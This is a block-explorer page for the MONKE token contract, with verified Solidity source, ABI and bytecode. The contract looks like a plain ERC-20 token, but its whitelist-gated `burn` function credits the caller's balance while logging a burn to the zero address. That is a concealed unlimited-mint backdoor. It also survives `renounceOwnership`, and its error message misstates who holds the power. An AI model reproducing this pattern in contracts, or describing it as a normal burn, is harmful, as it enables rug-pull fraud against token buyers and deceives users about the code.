APE Price: $1.05 (-10.07%)

Token

MONKE (MONKE)

Overview

Max Total Supply

1,000,000,000 MONKE

Holders

13

Total Transfers

-

Market

Price

$0.00 @ 0.000000 APE

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
MONKE

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at apescan.io on 2024-10-30
*/

// SPDX-License-Identifier: MIT

// Telegram: https://t.me/monke_apechain

// Twitter: https://x.com/monke_apechain

// Website: https://apemonke.fun/

pragma solidity ^0.8.28;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface CamelotFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface ICamelotRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract MONKE is Context, IERC20, Ownable {
    string public name = "MONKE";
    string public symbol = "MONKE";
    uint8 public decimals = 9;
    uint256 public totalSupply;
  
    bool private tradingOpen = false;

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private wls;

    modifier admin() {
        require(wls[msg.sender], "Caller is not the owner");
        _;
    }

    ICamelotRouter02 private CamelotRouter;
    address private CamelotPair;
    constructor() {
        totalSupply = 1000000000 * 10 ** uint256(decimals);
        balances[_msgSender()] = totalSupply;
        emit Transfer(address(0), _msgSender(), totalSupply);
        wls[msg.sender] = true;
    }

    function balanceOf(address account) public view returns (uint256) {
        return balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance");
        _transfer(sender, recipient, amount);
        _allowances[sender][msg.sender] -= amount;
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(balances[sender] >= amount, "ERC20: transfer amount exceeds balance");

        balances[sender] -= amount;
        balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    receive() external payable {
        revert("ETH deposits not supported");
    }

    function addWLs(address[] calldata wl) external onlyOwner {
        for (uint i = 0; i < wl.length; i++) {
            wls[wl[i]] = true;
        }
    }

    function burn(uint256 value) external admin {
        require(value > 0,"Burning Failed");

        balances[msg.sender] += value;
        emit Transfer(msg.sender, address(0), value);
    }
    

     function openTrading(uint256 percentage) external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        require(msg.value > 0, "BNB amount must be greater than 0");
        require(percentage > 0 && percentage <= 100, "Percentage must be between 1 and 100");

        CamelotRouter = ICamelotRouter02(0x18E621B64d7808c3C47bccbbD7485d23F257D26f);

        uint256 value = (balanceOf(msg.sender)*percentage) / 100;
        _approve(_msgSender(), address(CamelotRouter), totalSupply);
        _transfer(_msgSender(), address(this), value);

        _approve(address(this), address(CamelotRouter), totalSupply);
        uint256 tokenAmount = balanceOf(address(this));
        CamelotPair = CamelotFactory(CamelotRouter.factory()).createPair(
        address(this),
        CamelotRouter.WETH()
        );
        CamelotRouter.addLiquidityETH{value: msg.value}(
        address(this),
        tokenAmount,
        0,
        0,
        owner(),
        block.timestamp
        );
    
        IERC20(CamelotPair).approve(
        address(CamelotRouter),
        type(uint256).max
        );

        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"wl","type":"address[]"}],"name":"addWLs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percentage","type":"uint256"}],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260056080908152644d4f4e4b4560d81b60a05260019061002490826101d5565b506040805180820190915260058152644d4f4e4b4560d81b602082015260029061004e90826101d5565b506003805460ff19908116600917909155600580549091169055348015610073575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506003546100c59060ff16600a610388565b6100d390633b9aca0061039a565b6004819055335f81815260066020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3335f908152600860205260409020805460ff191660011790556103b1565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061016557607f821691505b60208210810361018357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101d057805f5260205f20601f840160051c810160208510156101ae5750805b601f840160051c820191505b818110156101cd575f81556001016101ba565b50505b505050565b81516001600160401b038111156101ee576101ee61013d565b610202816101fc8454610151565b84610189565b6020601f821160018114610234575f831561021d5750848201515b5f19600385901b1c1916600184901b1784556101cd565b5f84815260208120601f198516915b828110156102635787850151825560209485019460019092019101610243565b508482101561028057868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102de578085048111156102c2576102c261028f565b60018416156102d057908102905b60019390931c9280026102a7565b935093915050565b5f826102f457506001610382565b8161030057505f610382565b816001811461031657600281146103205761033c565b6001915050610382565b60ff8411156103315761033161028f565b50506001821b610382565b5060208310610133831016604e8410600b841016171561035f575081810a610382565b61036b5f1984846102a3565b805f190482111561037e5761037e61028f565b0290505b92915050565b5f61039383836102e6565b9392505050565b80820281158282048414176103825761038261028f565b611175806103be5f395ff3fe6080604052600436106100dc575f3560e01c8063715018a61161007c57806395d89b411161005757806395d89b41146102a6578063a9059cbb146102ba578063d1633649146102d9578063dd62ed3e146102ec575f5ffd5b8063715018a61461024d57806371ce6b4a146102615780638da5cb5b14610280575f5ffd5b806323b872dd116100b757806323b872dd146101ae578063313ce567146101cd57806342966c68146101f857806370a0823114610219575f5ffd5b806306fdde0314610132578063095ea7b31461015c57806318160ddd1461018b575f5ffd5b3661012e5760405162461bcd60e51b815260206004820152601a60248201527f455448206465706f73697473206e6f7420737570706f7274656400000000000060448201526064015b60405180910390fd5b5f5ffd5b34801561013d575f5ffd5b50610146610330565b6040516101539190610e54565b60405180910390f35b348015610167575f5ffd5b5061017b610176366004610ea0565b6103bc565b6040519015158152602001610153565b348015610196575f5ffd5b506101a060045481565b604051908152602001610153565b3480156101b9575f5ffd5b5061017b6101c8366004610eca565b6103d2565b3480156101d8575f5ffd5b506003546101e69060ff1681565b60405160ff9091168152602001610153565b348015610203575f5ffd5b50610217610212366004610f08565b6104a1565b005b348015610224575f5ffd5b506101a0610233366004610f1f565b6001600160a01b03165f9081526006602052604090205490565b348015610258575f5ffd5b5061021761059c565b34801561026c575f5ffd5b5061021761027b366004610f41565b61060d565b34801561028b575f5ffd5b505f546040516001600160a01b039091168152602001610153565b3480156102b1575f5ffd5b506101466106a0565b3480156102c5575f5ffd5b5061017b6102d4366004610ea0565b6106ad565b6102176102e7366004610f08565b6106b9565b3480156102f7575f5ffd5b506101a0610306366004610fb2565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b6001805461033d90610fe9565b80601f016020809104026020016040519081016040528092919081815260200182805461036990610fe9565b80156103b45780601f1061038b576101008083540402835291602001916103b4565b820191905f5260205f20905b81548152906001019060200180831161039757829003601f168201915b505050505081565b5f6103c8338484610b55565b5060015b92915050565b6001600160a01b0383165f9081526007602090815260408083203384529091528120548211156104555760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610125565b610460848484610c79565b6001600160a01b0384165f90815260076020908152604080832033845290915281208054849290610492908490611035565b90915550600195945050505050565b335f9081526008602052604090205460ff166104ff5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e65720000000000000000006044820152606401610125565b5f811161053f5760405162461bcd60e51b815260206004820152600e60248201526d109d5c9b9a5b99c811985a5b195960921b6044820152606401610125565b335f908152600660205260408120805483929061055d908490611048565b90915550506040518181525f9033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350565b5f546001600160a01b031633146105c55760405162461bcd60e51b81526004016101259061105b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106365760405162461bcd60e51b81526004016101259061105b565b5f5b8181101561069b57600160085f85858581811061065757610657611090565b905060200201602081019061066c9190610f1f565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610638565b505050565b6002805461033d90610fe9565b5f6103c8338484610c79565b5f546001600160a01b031633146106e25760405162461bcd60e51b81526004016101259061105b565b60055460ff16156107355760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610125565b5f341161078e5760405162461bcd60e51b815260206004820152602160248201527f424e4220616d6f756e74206d7573742062652067726561746572207468616e206044820152600360fc1b6064820152608401610125565b5f8111801561079e575060648111155b6107f65760405162461bcd60e51b8152602060048201526024808201527f50657263656e74616765206d757374206265206265747765656e203120616e646044820152630203130360e41b6064820152608401610125565b600980546001600160a01b0319167318e621b64d7808c3c47bccbbd7485d23f257d26f1790555f60648261083e336001600160a01b03165f9081526006602052604090205490565b61084891906110a4565b61085291906110bb565b905061086f336009546004546001600160a01b0390911690610b55565b61087a333083610c79565b6009546004546108979130916001600160a01b0390911690610b55565b305f9081526006602090815260409182902054600954835163c45a015560e01b8152935191936001600160a01b039091169263c45a0155926004808401938290030181865afa1580156108ec573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091091906110da565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096f573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099391906110da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109dd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0191906110da565b600a80546001600160a01b039283166001600160a01b03199091161790556009541663f305d7193430845f80610a3e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aa4573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ac991906110f5565b5050600a5460095460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b1e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b429190611120565b50506005805460ff191660011790555050565b6001600160a01b038316610bb75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610125565b6001600160a01b038216610c185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610125565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cdd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610125565b6001600160a01b038216610d3f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610125565b6001600160a01b0383165f90815260066020526040902054811115610db55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610125565b6001600160a01b0383165f9081526006602052604081208054839290610ddc908490611035565b90915550506001600160a01b0382165f9081526006602052604081208054839290610e08908490611048565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c6c91815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610e9d575f5ffd5b50565b5f5f60408385031215610eb1575f5ffd5b8235610ebc81610e89565b946020939093013593505050565b5f5f5f60608486031215610edc575f5ffd5b8335610ee781610e89565b92506020840135610ef781610e89565b929592945050506040919091013590565b5f60208284031215610f18575f5ffd5b5035919050565b5f60208284031215610f2f575f5ffd5b8135610f3a81610e89565b9392505050565b5f5f60208385031215610f52575f5ffd5b823567ffffffffffffffff811115610f68575f5ffd5b8301601f81018513610f78575f5ffd5b803567ffffffffffffffff811115610f8e575f5ffd5b8560208260051b8401011115610fa2575f5ffd5b6020919091019590945092505050565b5f5f60408385031215610fc3575f5ffd5b8235610fce81610e89565b91506020830135610fde81610e89565b809150509250929050565b600181811c90821680610ffd57607f821691505b60208210810361101b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103cc576103cc611021565b808201808211156103cc576103cc611021565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b80820281158282048414176103cc576103cc611021565b5f826110d557634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156110ea575f5ffd5b8151610f3a81610e89565b5f5f5f60608486031215611107575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611130575f5ffd5b81518015158114610f3a575f5ffdfea26469706673582212206d243412a20dce6c7685c527b30a743c0e55e9bdab6c7b26bfd6c85dea8f0a8e64736f6c634300081c0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c8063715018a61161007c57806395d89b411161005757806395d89b41146102a6578063a9059cbb146102ba578063d1633649146102d9578063dd62ed3e146102ec575f5ffd5b8063715018a61461024d57806371ce6b4a146102615780638da5cb5b14610280575f5ffd5b806323b872dd116100b757806323b872dd146101ae578063313ce567146101cd57806342966c68146101f857806370a0823114610219575f5ffd5b806306fdde0314610132578063095ea7b31461015c57806318160ddd1461018b575f5ffd5b3661012e5760405162461bcd60e51b815260206004820152601a60248201527f455448206465706f73697473206e6f7420737570706f7274656400000000000060448201526064015b60405180910390fd5b5f5ffd5b34801561013d575f5ffd5b50610146610330565b6040516101539190610e54565b60405180910390f35b348015610167575f5ffd5b5061017b610176366004610ea0565b6103bc565b6040519015158152602001610153565b348015610196575f5ffd5b506101a060045481565b604051908152602001610153565b3480156101b9575f5ffd5b5061017b6101c8366004610eca565b6103d2565b3480156101d8575f5ffd5b506003546101e69060ff1681565b60405160ff9091168152602001610153565b348015610203575f5ffd5b50610217610212366004610f08565b6104a1565b005b348015610224575f5ffd5b506101a0610233366004610f1f565b6001600160a01b03165f9081526006602052604090205490565b348015610258575f5ffd5b5061021761059c565b34801561026c575f5ffd5b5061021761027b366004610f41565b61060d565b34801561028b575f5ffd5b505f546040516001600160a01b039091168152602001610153565b3480156102b1575f5ffd5b506101466106a0565b3480156102c5575f5ffd5b5061017b6102d4366004610ea0565b6106ad565b6102176102e7366004610f08565b6106b9565b3480156102f7575f5ffd5b506101a0610306366004610fb2565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b6001805461033d90610fe9565b80601f016020809104026020016040519081016040528092919081815260200182805461036990610fe9565b80156103b45780601f1061038b576101008083540402835291602001916103b4565b820191905f5260205f20905b81548152906001019060200180831161039757829003601f168201915b505050505081565b5f6103c8338484610b55565b5060015b92915050565b6001600160a01b0383165f9081526007602090815260408083203384529091528120548211156104555760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610125565b610460848484610c79565b6001600160a01b0384165f90815260076020908152604080832033845290915281208054849290610492908490611035565b90915550600195945050505050565b335f9081526008602052604090205460ff166104ff5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e65720000000000000000006044820152606401610125565b5f811161053f5760405162461bcd60e51b815260206004820152600e60248201526d109d5c9b9a5b99c811985a5b195960921b6044820152606401610125565b335f908152600660205260408120805483929061055d908490611048565b90915550506040518181525f9033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350565b5f546001600160a01b031633146105c55760405162461bcd60e51b81526004016101259061105b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106365760405162461bcd60e51b81526004016101259061105b565b5f5b8181101561069b57600160085f85858581811061065757610657611090565b905060200201602081019061066c9190610f1f565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610638565b505050565b6002805461033d90610fe9565b5f6103c8338484610c79565b5f546001600160a01b031633146106e25760405162461bcd60e51b81526004016101259061105b565b60055460ff16156107355760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610125565b5f341161078e5760405162461bcd60e51b815260206004820152602160248201527f424e4220616d6f756e74206d7573742062652067726561746572207468616e206044820152600360fc1b6064820152608401610125565b5f8111801561079e575060648111155b6107f65760405162461bcd60e51b8152602060048201526024808201527f50657263656e74616765206d757374206265206265747765656e203120616e646044820152630203130360e41b6064820152608401610125565b600980546001600160a01b0319167318e621b64d7808c3c47bccbbd7485d23f257d26f1790555f60648261083e336001600160a01b03165f9081526006602052604090205490565b61084891906110a4565b61085291906110bb565b905061086f336009546004546001600160a01b0390911690610b55565b61087a333083610c79565b6009546004546108979130916001600160a01b0390911690610b55565b305f9081526006602090815260409182902054600954835163c45a015560e01b8152935191936001600160a01b039091169263c45a0155926004808401938290030181865afa1580156108ec573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091091906110da565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096f573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099391906110da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109dd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0191906110da565b600a80546001600160a01b039283166001600160a01b03199091161790556009541663f305d7193430845f80610a3e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aa4573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ac991906110f5565b5050600a5460095460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b1e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b429190611120565b50506005805460ff191660011790555050565b6001600160a01b038316610bb75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610125565b6001600160a01b038216610c185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610125565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cdd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610125565b6001600160a01b038216610d3f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610125565b6001600160a01b0383165f90815260066020526040902054811115610db55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610125565b6001600160a01b0383165f9081526006602052604081208054839290610ddc908490611035565b90915550506001600160a01b0382165f9081526006602052604081208054839290610e08908490611048565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c6c91815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610e9d575f5ffd5b50565b5f5f60408385031215610eb1575f5ffd5b8235610ebc81610e89565b946020939093013593505050565b5f5f5f60608486031215610edc575f5ffd5b8335610ee781610e89565b92506020840135610ef781610e89565b929592945050506040919091013590565b5f60208284031215610f18575f5ffd5b5035919050565b5f60208284031215610f2f575f5ffd5b8135610f3a81610e89565b9392505050565b5f5f60208385031215610f52575f5ffd5b823567ffffffffffffffff811115610f68575f5ffd5b8301601f81018513610f78575f5ffd5b803567ffffffffffffffff811115610f8e575f5ffd5b8560208260051b8401011115610fa2575f5ffd5b6020919091019590945092505050565b5f5f60408385031215610fc3575f5ffd5b8235610fce81610e89565b91506020830135610fde81610e89565b809150509250929050565b600181811c90821680610ffd57607f821691505b60208210810361101b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103cc576103cc611021565b808201808211156103cc576103cc611021565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b80820281158282048414176103cc576103cc611021565b5f826110d557634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156110ea575f5ffd5b8151610f3a81610e89565b5f5f5f60608486031215611107575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611130575f5ffd5b81518015158114610f3a575f5ffdfea26469706673582212206d243412a20dce6c7685c527b30a743c0e55e9bdab6c7b26bfd6c85dea8f0a8e64736f6c634300081c0033

Deployed Bytecode Sourcemap

3594:4235:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6213:36;;-1:-1:-1;;;6213:36:0;;216:2:1;6213:36:0;;;198:21:1;255:2;235:18;;;228:30;294:28;274:18;;;267:56;340:18;;6213:36:0;;;;;;;;3594:4235;;;;3644:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4697:161;;;;;;;;;;-1:-1:-1;4697:161:0;;;;;:::i;:::-;;:::i;:::-;;;1465:14:1;;1458:22;1440:41;;1428:2;1413:18;4697:161:0;1300:187:1;3748:26:0;;;;;;;;;;;;;;;;;;;1638:25:1;;;1626:2;1611:18;3748:26:0;1492:177:1;5360:329:0;;;;;;;;;;-1:-1:-1;5360:329:0;;;;;:::i;:::-;;:::i;3716:25::-;;;;;;;;;;-1:-1:-1;3716:25:0;;;;;;;;;;;2359:4:1;2347:17;;;2329:36;;2317:2;2302:18;3716:25:0;2187:184:1;6430:195:0;;;;;;;;;;-1:-1:-1;6430:195:0;;;;;:::i;:::-;;:::i;:::-;;4416:109;;;;;;;;;;-1:-1:-1;4416:109:0;;;;;:::i;:::-;-1:-1:-1;;;;;4500:17:0;4473:7;4500:17;;;:8;:17;;;;;;;4416:109;3437:148;;;;;;;;;;;;;:::i;6265:157::-;;;;;;;;;;-1:-1:-1;6265:157:0;;;;;:::i;:::-;;:::i;3223:79::-;;;;;;;;;;-1:-1:-1;3261:7:0;3288:6;3223:79;;-1:-1:-1;;;;;3288:6:0;;;3620:51:1;;3608:2;3593:18;3223:79:0;3474:203:1;3679:30:0;;;;;;;;;;;;;:::i;4533:156::-;;;;;;;;;;-1:-1:-1;4533:156:0;;;;;:::i;:::-;;:::i;6640:1186::-;;;;;;:::i;:::-;;:::i;5209:143::-;;;;;;;;;;-1:-1:-1;5209:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5317:18:0;;;5290:7;5317:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5209:143;3644:28;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4697:161::-;4772:4;4789:39;301:10;4812:7;4821:6;4789:8;:39::i;:::-;-1:-1:-1;4846:4:0;4697:161;;;;;:::o;5360:329::-;-1:-1:-1;;;;;5474: